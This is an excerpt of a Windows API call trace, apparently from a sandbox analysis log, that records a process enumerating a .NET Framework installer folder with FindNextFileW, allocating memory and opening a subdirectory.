	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1
	[0235.848] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1
	[0235.848] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1
	[0235.848] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0235.848] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0235.848] VirtualAlloc (lpAddress=0xc00028e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028e000
	[0235.848] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x2d06bdca, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0235.849] VirtualAlloc (lpAddress=0xc000290000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000290000
	[0235.849] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0235.849] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1
	[0235.849] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0235.849] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x2dda353b, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0235.849] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0235.849] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0235.849] VirtualAlloc (lpAddress=0xc000292000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000292000
	[0235.850] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0235.850] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0235.850] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0235.850] VirtualAlloc (lpAddress=0xc000294000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000294000
	[0235.851] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0235.851] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x2d8efb37, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xa178, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0235.852] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x2e1038f2, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x19788, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0235.853] VirtualAlloc (lpAddress=0xc000296000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000296000
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0235.853] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.854] VirtualAlloc (lpAddress=0xc000298000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000298000
	[0235.854] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0235.856] VirtualAlloc (lpAddress=0xc00029a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029a000
	[0235.857] VirtualAlloc (lpAddress=0xc00029c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029c000
	[0235.857] VirtualAlloc (lpAddress=0xc00029e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029e000
	[0235.858] WriteFile (in: hFile=0x0, lpBuffer=0xc000290240, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0235.858] VirtualAlloc (lpAddress=0xc0002a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a0000
	[0235.859] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025" (normalized: "c:\\588bce7c90097ed212\\1025"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.861] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025" (normalized: "c:\\588bce7c90097ed212\\1025"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.861] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
